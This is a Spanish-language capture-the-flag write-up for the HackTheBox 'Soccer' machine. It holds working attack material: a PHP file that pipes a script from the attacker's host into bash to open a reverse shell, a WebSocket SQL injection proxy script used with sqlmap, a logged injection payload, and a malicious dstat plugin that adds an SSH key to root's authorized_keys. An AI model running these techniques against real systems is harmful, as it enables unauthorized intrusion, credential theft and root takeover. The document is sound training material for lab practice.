Informacion de la Maquina
En Soccer obtuvimos una shell por Tiny File Manager por medio de la ejecucion de un archivo PHP, dentro encontramos un nuevo subdominio que es vulnerable a SQLi lo que nos permitio el acceso por SSH. Finalmente la escalada de privilegios a traves de un plugin que es ejecutado como root por dstat.
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1# Nmap 7.92 scan initiated Sat Jan 7 16:32:46 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.194
2Nmap scan report for 10.10.11.194 (10.10.11.194)
3Host is up (0.082s latency).
4
5PORT STATE SERVICE VERSION
622/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
7| ssh-hostkey:
8| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
9| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
10|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
1180/tcp open http nginx 1.18.0 (Ubuntu)
12|_http-title: Did not follow redirect to http://soccer.htb/
13|_http-server-header: nginx/1.18.0 (Ubuntu)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17# Nmap done at Sat Jan 7 16:32:56 2023 -- 1 IP address (1 host up) scanned in 10.12 secondsWeb Site
El sitio web redirige al dominio soccer.htb.
1➜ soccer curl -sI 10.10.11.194
2HTTP/1.1 301 Moved Permanently
3Server: nginx/1.18.0 (Ubuntu)
4Date: Sat, 07 Jan 2023 22:33:36 GMT
5Content-Type: text/html
6Content-Length: 178
7Connection: keep-alive
8Location: http://soccer.htb/
9
10➜ soccerEl dominio presenta imagenes y noticias.

Directory Brute Forcing
feroxbuster muestra la direccion /tiny.
1➜ soccer feroxbuster -u http://soccer.htb -w $MD --depth 1
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.3.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://soccer.htb
9 🚀 Threads │ 50
10 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.3.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔃 Recursion Depth │ 1
16 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
17───────────────────────────┴──────────────────────
18 🏁 Press [ENTER] to use the Scan Cancel Menu™
19──────────────────────────────────────────────────
20301 7l 12w 178c http://soccer.htb/tiny
21[####################] - 11m 220545/220545 0s found:1 errors:0
22[####################] - 11m 220545/220545 333/s http://soccer.htbTiny File Manger
En la direccion nos encontramos con el gestor de archivos Tiny File Manager.

La documentacion muestra las credenciales por default.
1Default username/password:
2- admin/admin@123
3- user/12345Podemos subir y eliminar archivos unicamente en la direccion /tiny/uploads.

Asi mismo observamos el archivo bajo la misma direccion en el servidor.
1 π ~/htb/soccer ❯ curl -s http://soccer.htb/tiny/uploads/file.txt
2hello there
3 π ~/htb/soccer ❯User - www-data
Command Execution
Creamos un archivo PHP para la ejecucion del comando whoami utilizando dos funciones conocidas.

Tras visitar la direccion por el navegador observamos el resultado de la ejecucion.

Asi mismo observamos distintas solicitudes desde la maquina.
1➜ soccer sudo tcpdump -i tun1 icmp
2[sudo] password for kirby:
3tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
4listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
517:03:49.999264 IP soccer.htb > 10.10.14.207: ICMP echo request, id 2, seq 1, length 64
617:03:49.999287 IP 10.10.14.207 > soccer.htb: ICMP echo reply, id 2, seq 1, length 64
717:03:51.000435 IP soccer.htb > 10.10.14.207: ICMP echo request, id 2, seq 2, length 64
817:03:51.000459 IP 10.10.14.207 > soccer.htb: ICMP echo reply, id 2, seq 2, length 64Shell
Ejecutamos shells localmente y creamos un archivo PHP para ejecutar una shell inversa.
1<?php
2system("curl 10.10.14.207:9090/10.10.14.207:1338|bash")Tras subir y “ejecutar” el archivo PHP obtuvimos una shell inversa como www-data.
1➜ soccer rlwrap nc -lvp 1338
2listening on [any] 1338 ...
3connect to [10.10.14.207] from soccer.htb [10.10.11.194] 36278
4/bin/sh: 0: can't access tty; job control turned off
5$ which python
6$ which python3
7/usr/bin/python3
8$ python3 -c 'import pty;pty.spawn("/bin/bash");'
9www-data@soccer:~/html/tiny/uploads$ whoami
10www-data
11www-data@soccer:~/html/tiny/uploads$User - Player
Observamos que el puerto 3000 esta localmente abierto.
1www-data@soccer:~$ netstat -ntpl
2Active Internet connections (only servers)
3Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
4tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
5tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
6tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1104/nginx: worker
7tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
8tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
9tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
10tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN -
11tcp6 0 0 :::80 :::* LISTEN 1104/nginx: worker
12tcp6 0 0 :::22 :::* LISTEN -
13www-data@soccer:~$Descubrimos un subdominio> soc-player.soccer.htb.
1www-data@soccer:~$ cat /etc/hosts
2127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
3
4127.0.1.1 ubuntu-focal ubuntu-focal
5
6www-data@soccer:~$Tras realizar una solicitud con curl observamos contenido parecido al sitio web del dominio.
1www-data@soccer:/dev/shm$ curl -s 127.0.0.1:3000 | head -n 15
2curl -s 127.0.0.1:3000 | head -n 15
3<!DOCTYPE html>
4<html lang="en">
5 <head>
6 <meta charset="UTF-8">
7 <meta http-equiv="X-UA-Compatible" content="IE=edge">
8 <meta name="viewport" content="width=device-width, initial-scale=1.0">
9 <link href="/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
10 <script src="/js/bootstrap.bundle.min.js"></script>
11 <script src="/js/jquery.min.js"></script>
12 <title>Soccer</title>
13 </head>
14 <style>
15 header {
16 position: relative;
17 background-color: black;
18www-data@soccer:/dev/shm$Chisel - Reverse proxy
Utilizamos chisel para obtener el puerto 3000 localmente. Ejecutamos chisel server en kali.
1➜ htb ./chisel server -p 7070 --reverse
22023/01/07 17:45:42 server: Reverse tunnelling enabled
32023/01/07 17:45:42 server: Fingerprint r7IOXikxVigDh/+xqSoeYExX5O9rbFWlHByCCztKll4=
42023/01/07 17:45:42 server: Listening on http://0.0.0.0:7070
52023/01/07 17:45:44 server: session#1: tun: proxy#R:3000=>0.0.0.0:3000: Listening
62023/01/07 17:47:30 server: session#2: tun: proxy#R:9091=>0.0.0.0:9091: Listening
72023/01/07 17:55:31 server: session#3: tun: proxy#R:127.0.0.1:1080=>socks: Listeningchisel client en la maquina.
1./chisel client 10.10.14.207:7070 R:socks
22023/01/07 23:55:29 client: Connecting to ws://10.10.14.207:7070
32023/01/07 23:55:30 client: Connected (Latency 188.578972ms)Configuramos FoxyProxy en el navegador.

Y editamos el archivo proxychains.
1echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.confAl visitar el puerto 3000 observamos un sitio similar al dominio.

Web User
Registramos un usuario nuevo.

Tras autenticarnos nos muestra un formulario, segun parece para verificar el numero de ticket.

Tras varios intentos no obtuvimos ningun tipo de respuesta. Sin embargo tras verificar la consola observamos que intenta realizar una conexion al subdominio que encontramos anteriormente, websocket.

Agregamos el subdominio apuntando a nuestra direccion local.
1➜ soccer tail -n 1 /etc/hosts
2127.0.0.1 soc-player.soccer.htb
3➜ soccerCon ello logramos obtener una respuesta al ingresar un valor en el formulario, en este caso el ticket no existe.

Observando las solicitudes que realiza el sitio, vemos que envia el id con el valor del formulario.

User - Player
SQLi WebSocket
Intentamos con distintos ‘payloads’ en el parametro id, pero no conseguimos informacion. Tras investigar sobre WebSockets nos topamos con el post Automating Blind SQL injection over WebSocket donde se expone una explotacion de SQLi utilizando sqlmap y un script que obtiene las solicitudes de sqlmap, realiza la conexion con el servidor, obtiene la respuesta y la envia a sqlmap, como si fuera un “intermediario”. En este caso modificamos el script:
1from http.server import SimpleHTTPRequestHandler
2from socketserver import TCPServer
3from urllib.parse import unquote, urlparse
4from websocket import create_connection
5
6ws_server = "ws://soc-player.soccer.htb:9091" # dominio soc-player.htb
7
8def send_ws(payload):
9 ws = create_connection(ws_server)
10 # If the server returns a response on connect, use below line
11 #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
12
13 # For our case, format the payload in JSON
14 message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
15 data = '{"id":"%s"}' % message # data --> id del fomulario
16
17 ws.send(data)
18 resp = ws.recv()
19 ws.close()
20
21 if resp:
22 return resp
23 else:
24 return ''
25
26def middleware_server(host_port,content_type="text/plain"):
27
28 class CustomHandler(SimpleHTTPRequestHandler):
29 def do_GET(self) -> None:
30 self.send_response(200)
31 try:
32 payload = urlparse(self.path).query.split('=',1)[1]
33 except IndexError:
34 payload = False
35
36 if payload:
37 content = send_ws(payload)
38 else:
39 content = 'No parameters specified!'
40
41 self.send_header("Content-type", content_type)
42 self.end_headers()
43 self.wfile.write(content.encode())
44 return
45
46 class _TCPServer(TCPServer):
47 allow_reuse_address = True
48
49 httpd = _TCPServer(host_port, CustomHandler)
50 httpd.serve_forever()
51
52
53print("[+] Starting MiddleWare Server")
54print("[+] Send payloads in http://localhost:8083/?id=*")
55
56try:
57 middleware_server(('0.0.0.0',8083))
58except KeyboardInterrupt:
59 passEjecutamos el script utilizando proxychains.
1➜ soccer sudo proxychains4 -q python3 ws_server.py
2[sudo] password for kali:
3[+] Starting MiddleWare Server
4[+] Send payloads in http://localhost:8084/?id=*
5[.. snip ..]
6127.0.0.1 - - [07/Jan/2023 19:54:32] "GET /?id=93621 HTTP/1.1" 200 -
7127.0.0.1 - - [07/Jan/2023 19:54:35] "GET /?id=93621&Yvjw=6592%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 Por otro lado ejecutamos sqlmap en la direccion local de nuestro script. Vemos que sqlmap logro obtener informacion.
1➜ ~ sqlmap -u "http://localhost:8083/?id=70653" --batch -dbs
2 ___
3 __H__
4 ___ ___[']_____ ___ ___ {1.6.9#stable}
5|_ -| . ["] | .'| . |
6|___|_ [.]_|_|_|__,| _|
7 |_|V... |_| https://sqlmap.org
8
9[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
10
11[*] starting @ 19:06:04 /2023-01-07/
12
13[19:06:04] [INFO] testing connection to the target URL
14[19:06:05] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.9.2')
15[19:06:05] [INFO] checking if the target is protected by some kind of WAF/IPS
16[19:06:05] [INFO] testing if the target URL content is stable
17[19:06:06] [INFO] target URL content is stable
18[19:06:06] [INFO] testing if GET parameter 'id' is dynamic
19[19:06:06] [INFO] GET parameter 'id' appears to be dynamic
20[19:06:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
21[19:06:07] [INFO] testing for SQL injection on GET parameter 'id'
22[19:06:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
23[19:06:09] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
24[19:06:17] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
25it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
26for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
27[19:06:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
28[.. snip ..]
29[19:06:41] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
30[19:06:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
31[19:06:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
32[19:06:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
33[19:06:43] [INFO] target URL appears to have 3 columns in query
34do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
35injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
36[19:06:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
37[19:07:03] [INFO] target URL appears to be UNION injectable with 3 columns
38injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
39[19:07:14] [INFO] testing 'MySQL UNION query (51) - 1 to 20 columns'
40[19:07:29] [INFO] testing 'MySQL UNION query (51) - 21 to 40 columns'
41[19:07:38] [INFO] testing 'MySQL UNION query (51) - 41 to 60 columns'
42[19:07:51] [INFO] testing 'MySQL UNION query (51) - 61 to 80 columns'
43[19:08:00] [INFO] testing 'MySQL UNION query (51) - 81 to 100 columns'
44[19:08:09] [INFO] checking if the injection point on GET parameter 'id' is a false positive
45GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
46sqlmap identified the following injection point(s) with a total of 255 HTTP(s) requests:
47---
48Parameter: id (GET)
49 Type: boolean-based blind
50 Title: AND boolean-based blind - WHERE or HAVING clause
51 Payload: id=70653 AND 9808=9808
52
53 Type: time-based blind
54 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
55 Payload: id=70653 AND (SELECT 8949 FROM (SELECT(SLEEP(5)))CpYB)
56---
57[19:08:12] [INFO] the back-end DBMS is MySQL
58back-end DBMS: MySQL >= 5.0.12
59[19:08:15] [INFO] fetching database names
60[19:08:15] [INFO] fetching number of databases
61[19:08:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
62[19:08:15] [INFO] retrieved: 5
63[19:08:18] [INFO] retrieved: mysql
64[19:08:32] [INFO] retrieved: information_schema
65[19:09:16] [INFO] retrieved: performance_schema
66[19:10:00] [INFO] retrieved: q
67[19:10:03] [INFO] retrieved:
68[19:10:05] [INFO] retrieved:
69[19:10:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
70do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
71[19:10:21] [INFO] adjusting time delay to 2 seconds due to good response times
72soccer_db
73available databases [5]:
74[*] information_schema
75[*] mysql
76[*] performance_schema
77[*] sys
78[*] soccer_db
79
80[19:11:38] [INFO] fetched data logged to text files under '/home/kirby/.local/share/sqlmap/output/localhost'
81
82[*] ending @ 19:11:38 /2023-01-07/Logramos obtener credenciales de la base de datos soccer_db para el usuario player.
1Database: soccer_db
2[1 table]
3+----------+
4| accounts |
5+----------+
6Database: soccer_db
7Table: accounts
8[1 entry]
9+------+-------------------+----------------------+----------+
10| id | email | password | username |
11+------+-------------------+----------------------+----------+
12| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
13+------+-------------------+----------------------+----------+SQLMap tambien tiene soporte para websocket, por lo que la forma mas sencilla seria la siguiente
1sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' -batch -dbsShell
Ingresamos por SSH y realizamos la lectura de flag user.txt.
1➜ soccer ssh player@soccer.htb # PlayerOftheMatch2022
2The authenticity of host 'soccer.htb (10.10.11.194)' can't be established.
3ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
4Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
5Warning: Permanently added 'soccer.htb,10.10.11.194' (ECDSA) to the list of known hosts.
6player@soccer.htb's password:
7Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
8
9 * Documentation: https://help.ubuntu.com
10 * Management: https://landscape.canonical.com
11 * Support: https://ubuntu.com/advantage
12
13 System information as of Sun Jan 8 03:59:13 UTC 2023
14
15 System load: 0.11 Processes: 243
16 Usage of /: 70.1% of 3.84GB Users logged in: 0
17 Memory usage: 21% IPv4 address for eth0: 10.10.11.194
18 Swap usage: 0%
19
20 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
21 just raised the bar for easy, resilient and secure K8s cluster deployment.
22
23 https://ubuntu.com/engage/secure-kubernetes-at-the-edge
24
250 updates can be applied immediately.
26
27
28The list of available updates is more than a week old.
29To check for new updates run: sudo apt update
30Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
31
32
33Last login: Sun Jan 8 03:43:37 2023 from 10.10.14.80
34-bash-5.0$ cat user.txt
353a1dc423a03b194435ae3cf95c3cb266
36-bash-5.0$Privesc
Tras enumerar los ficheros SUID encontramos doas.
1-bash-5.0$ find / -perm -4000 2>/dev/null | xargs ls -lah
2-rwsr-xr-x 1 root root 84K Mar 14 2022 /snap/core20/1695/usr/bin/chfn
3-rwsr-xr-x 1 root root 52K Mar 14 2022 /snap/core20/1695/usr/bin/chsh
4-rwsr-xr-x 1 root root 87K Mar 14 2022 /snap/core20/1695/usr/bin/gpasswd
5-rwsr-xr-x 1 root root 55K Feb 7 2022 /snap/core20/1695/usr/bin/mount
6-rwsr-xr-x 1 root root 44K Mar 14 2022 /snap/core20/1695/usr/bin/newgrp
7-rwsr-xr-x 1 root root 67K Mar 14 2022 /snap/core20/1695/usr/bin/passwd
8-rwsr-xr-x 1 root root 67K Feb 7 2022 /snap/core20/1695/usr/bin/su
9-rwsr-xr-x 1 root root 163K Jan 19 2021 /snap/core20/1695/usr/bin/sudo
10-rwsr-xr-x 1 root root 39K Feb 7 2022 /snap/core20/1695/usr/bin/umount
11-rwsr-xr-- 1 root systemd-resolve 51K Oct 25 13:09 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
12-rwsr-xr-x 1 root root 463K Mar 30 2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
13-rwsr-xr-x 1 root root 121K Nov 25 17:29 /snap/snapd/17883/usr/lib/snapd/snap-confine
14-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at
15-rwsr-sr-x 1 root root 1.2M Apr 18 2022 /usr/bin/bash
16-rwsr-xr-x 1 root root 84K Nov 29 11:53 /usr/bin/chfn
17-rwsr-xr-x 1 root root 52K Nov 29 11:53 /usr/bin/chsh
18-rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount
19-rwsr-xr-x 1 root root 87K Nov 29 11:53 /usr/bin/gpasswd
20-rwsr-xr-x 1 root root 55K Feb 7 2022 /usr/bin/mount
21-rwsr-xr-x 1 root root 44K Nov 29 11:53 /usr/bin/newgrp
22-rwsr-xr-x 1 root root 67K Nov 29 11:53 /usr/bin/passwd
23-rwsr-xr-x 1 root root 67K Feb 7 2022 /usr/bin/su
24-rwsr-xr-x 1 root root 163K Jan 19 2021 /usr/bin/sudo
25-rwsr-xr-x 1 root root 39K Feb 7 2022 /usr/bin/umount
26-rwsr-xr-- 1 root messagebus 51K Oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
27-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
28-rwsr-xr-x 1 root root 463K Mar 30 2022 /usr/lib/openssh/ssh-keysign
29-rwsr-xr-x 1 root root 23K Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
30-rwsr-xr-x 1 root root 140K Nov 28 04:55 /usr/lib/snapd/snap-confine
31-rwsr-xr-x 1 root root 42K Nov 17 09:09 /usr/local/bin/doas
32-bash-5.0$La configuracion muestra que es posible ejecutar dstat como root por este usuario.
1-bash-5.0$ cat /usr/local/etc/doas.conf
2permit nopass player as root cmd /usr/bin/dstat
3-bash-5.0$ file /usr/bin/dstat
4/usr/bin/dstat: Python script, ASCII text executable
5-bash-5.0$Al ejeutar el fichero nos muestra informacion del sistema.
1-bash-5.0$ doas /usr/bin/dstat
2You did not select any stats, using -cdngy by default.
3--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
4usr sys idl wai stl| read writ| recv send| in out | int csw
5 1 0 98 0 0| 168k 28k| 0 0 | 0 0 | 343 604
6 1 0 99 0 0| 0 0 |1702B 2047B| 0 0 | 271 530
7 0 1 99 0 0| 0 0 | 132B 342B| 0 0 | 215 469
8 1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 211 440
9 0 0 99 0 0| 0 0 | 66B 342B| 0 0 | 241 489
10 1 0 99 0 0| 0 0 | 66B 342B| 0 0 | 221 459
11 1 1 99 0 0| 0 60k| 805B 991B| 0 0 | 260 505
12
13 1 0 99 0 0| 0 0 |2173B 1904B| 0 0 | 275 492 ^C
14-bash-5.0$ Plugin to root
Analizamos el archivo, se muestra que existen directorios donde se almacenan plugins.
1[ ... ]
2
3pluginpath = [
4 os.path.expanduser('~/.dstat/'), # home + /.dstat/
5 os.path.abspath(os.path.dirname(sys.argv[0])) + '/plugins/', # binary path + /plugins/
6 '/usr/share/dstat/',
7 '/usr/local/share/dstat/',
8]
9
10[ ... ]Observamos que en uno de los directorios tenemos permisos de escritura.
1-bash-5.0$ find / -writable -type d 2>/dev/null
2[.. snip ..]
3/run/screen
4/run/lock
5/usr/local/share/dstat
6/sys/fs/cgroup/systemd/user.slice/user-1001.slice/user@1001.service
7[.. snip ..]
8/var/lib/php/sessions
9/var/crash
10/var/www/html/tiny/uploads
11/var/tmp
12/var/tmp/cloud-init
13/tmp
14[.. snip ..]
15/home/player
16/home/player/.cache
17/home/player/.local
18/home/player/.local/share
19/home/player/.local/share/nano
20-bash-5.0$ ls -lah /usr/local/share/dstat/
21total 8.0K
22drwxrwx--- 2 root player 4.0K Dec 12 14:53 .
23drwxr-xr-x 6 root root 4.0K Nov 17 09:16 ..
24-bash-5.0$Tomando como ejemplo uno de los plugins (/usr/share/dstat/) creamos uno propio el cual ejecuta el comando id.
1### Author: root
2import os
3
4class dstat_plugin(dstat):
5 """
6 Exec cmd - root
7 """
8 def __init__(self):
9 self.name = 'privesc'
10 self.vars = ('total',)
11 self.type = 'd'
12 self.width = 10
13 self.scale = 10
14 self.root = os.system("id")
15
16 def extract(self):
17 self.val['total'] = self.rootLo almacenamos en el directorio /usr/local/share/dstat.
1-bash-5.0$ pwd
2/usr/local/share/dstat
3-bash-5.0$ ls
4dstat_privesc.py
5-bash-5.0$ Observamos que al listar los plugins se muestra el nuestro.
1-bash-5.0$ doas /usr/bin/dstat --list
2internal:
3 aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,
4 int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,
5 swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
6/usr/share/dstat:
7 battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,
8 disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,
9 dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,
10 innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,
11 mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,
12 mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,
13 mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,
14 nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,
15 proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,
16 snmp-net,snmp-net-err,snmp-sys,snooze,squid,test,thermal,top-bio,
17 top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,
18 top-int,top-io,top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,
19 vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,
20 wifi,zfs-arc,zfs-l2arc,zfs-zil
21/usr/local/share/dstat:
22 privescTras ejecutar el plugin vemos el resultado de la ejecucion de id.
1-bash-5.0$ doas /usr/bin/dstat --privesc
2/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
3 import imp
4uid=0(root) gid=0(root) groups=0(root)
5-privesc--
6 total
7 0
8 0
9 0
10 0
11 0^C
12-bash-5.0$Shell
Creamos una clave SSH para el usuario player.
1-bash-5.0$ ssh-keygen
2Generating public/private rsa key pair.
3Enter file in which to save the key (/home/player/.ssh/id_rsa): y
4Enter passphrase (empty for no passphrase):
5Enter same passphrase again:
6Your identification has been saved in y
7Your public key has been saved in y.pub
8The key fingerprint is:
9SHA256:ryKCF/R4+J6EHM6I5L7osWO8Hzp1F9R7iNRpf/oSVHg player@soccer
10The key's randomart image is:
11+---[RSA 3072]----+
12| o . . |
13| o = . E |
14| o o + o |
15| . o o + . |
16| o.+ S o o |
17|+=++o. . . o |
18|++*=o . . o |
19|+=*.+.. . . . |
20|+O*+o. .. . |
21+----[SHA256]-----+
22-bash-5.0$Editamos nuestro plugin para agregar la clave publica al archivo authorized_keys de root.
1self.root = os.system("cat /home/player/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys")Tras la ejecucion del plugin, ingresamos a traves de SSH como root, logrando acceder a la flag root.txt.
1-bash-5.0$ ssh root@localhost
2The authenticity of host 'localhost (127.0.0.1)' can't be established.
3ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
4Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
5Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
6Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
7
8 * Documentation: https://help.ubuntu.com
9 * Management: https://landscape.canonical.com
10 * Support: https://ubuntu.com/advantage
11
12 System information as of Sun Jan 8 04:40:24 UTC 2023
13
14 System load: 0.0 Processes: 246
15 Usage of /: 70.1% of 3.84GB Users logged in: 1
16 Memory usage: 26% IPv4 address for eth0: 10.10.11.194
17 Swap usage: 0%
18
19 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
20 just raised the bar for easy, resilient and secure K8s cluster deployment.
21
22 https://ubuntu.com/engage/secure-kubernetes-at-the-edge
23
240 updates can be applied immediately.
25
26
27The list of available updates is more than a week old.
28To check for new updates run: sudo apt update
29Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
30
31
32Last login: Fri Dec 2 10:53:47 2022
33root@soccer:~# whoami;id;pwd
34root
35uid=0(root) gid=0(root) groups=0(root)
36/root
37root@soccer:~# ls
38app root.txt run.sql snap
39root@soccer:~# cat root.txt
407ff7f2878244c5b7f1451d629fba0979
41root@soccer:~#
